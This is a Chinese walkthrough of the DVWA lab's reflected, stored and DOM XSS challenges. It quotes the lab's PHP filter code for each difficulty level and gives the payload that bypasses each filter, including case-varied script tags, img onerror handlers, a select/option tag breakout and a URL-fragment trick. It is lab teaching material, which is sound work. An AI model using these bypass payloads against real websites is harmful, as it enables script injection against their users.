当前位置: 首页 > news >正文

杭州自助建站软件定制logo

杭州自助建站软件,定制logo,装饰公司网站建设方案,大学学校网站建设方案反射型XSS通关 low难度 选择难度&#xff1a; 直接用下面JS代码尝试&#xff1a; <script>alert(/xss/)</script>通关成功&#xff1a; medium难度 直接下面代码尝试后失败 <script>alert(/xss/)</script>发现这段代码直接被输出&#xff1a; 尝试…

反射型XSS通关

low难度

选择难度:

在这里插入图片描述

直接用下面JS代码尝试:

<script>alert(/xss/)</script>

通关成功:

在这里插入图片描述

medium难度

直接下面代码尝试后失败

<script>alert(/xss/)</script>

发现这段代码直接被输出:

在这里插入图片描述

尝试修改<script>标签的字母大小写,做大小写绕过:

<scRipt>alert(/xss/)</scRipt>

通关成功:

在这里插入图片描述

high难度

查看源码,做代码审计:

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end user$html .= "<pre>Hello ${name}</pre>";
}?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

<img src = 1 onerror=alert(/xss/)>

通关成功:

在这里插入图片描述

存储型XSS通关

low难度

直接用下面代码尝试

<script>alert(/xss/)</script>

如图:

在这里插入图片描述

通关成功:

在这里插入图片描述

medium难度

查看源码,做代码审计:

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

$message = trim( $_POST[ 'mtxMessage' ] );
$message = strip_tags( addslashes( $message ) );
$message = htmlspecialchars( $message );

$name = trim( $_POST[ 'txtName' ] );
$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

在这里插入图片描述

通关成功:

在这里插入图片描述

high难度

查看源码

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

<img src = 1 onerror=alert(/xss/)>

通关成功:

在这里插入图片描述

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

在这里插入图片描述

打开hackbar,在URL中输入

<script>alert(/xss/)</script>

通关成功:

在这里插入图片描述

medium难度

查看源代码,做代码审计:

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {$default = $_GET['default'];# Do not allow script tagsif (stripos ($default, "<script") !== false) {header ("location: ?default=English");exit;}
}?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

在这里插入图片描述

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

在这里插入图片描述

high难度

查看源代码:

<?php// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {# White list the allowable languagesswitch ($_GET['default']) {case "French":case "English":case "German":case "Spanish":# okbreak;default:header ("location: ?default=English");exit;}
}?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

#<script>alert(/xss/)</script>

通关成功:

在这里插入图片描述

http://www.yayakq.cn/news/85388/

相关文章:

  • 建设网站成本预算外贸网站打开速度
  • 做老师讲课视频的教育网站我国外贸企业网站建设
  • 网站制作是怎么做的网站模块建设方案
  • 四川省建设网塔吊证查询网站免费制作自己的微网站
  • 网站换网址了怎么找上海外贸企业
  • 找做帽子的工厂网站江门免费建站公司
  • 安徽旅游在线网站建设安徽网站优化厂家报价
  • 做网站公司好做吗推广app平台有哪些
  • 建站加盟开一个设计工作室需要什么
  • 境外网站 备案公司网页设计模板图片
  • 手机网站需要多少钱wordpress怎么做响应式网站
  • 无忧网站建设哪家好基础建设包括哪些内容
  • 伊利网站建设学校网站建设与管理
  • 怎么做图片网站网站开发报价文件
  • 音乐网站开发背景企智网络网站建设公司
  • 扒完网站代码之后怎么做模板阿里巴巴国际站运营
  • 网站域名ip地址查询沈阳整站优化
  • 深圳蚂蚁网络网站建设亚洲购物网站排名
  • 用dw制作个介绍家乡网站logo设计网页
  • 网站建设设计模板塘厦建设网站
  • 福田做棋牌网站建设哪家好wordpress的文章在哪
  • 没有公司可以注册网站吗郑州新闻发布会最新消息今天视频
  • 招标网站哪个好手机网站 开发者模式
  • 做租房网站seo网站排名优化软件
  • 建网站需要什么手需wordpress上传图片
  • 网站建设目的主要包括哪些php网站开发 总结
  • seo网站内容用手机免费制作app软件下载
  • 站长工具关键词有什么做兼职的网站比较好
  • 企业网站合同开发技术网站开发技术
  • 男女做特别污污的事情网站seo服务器配置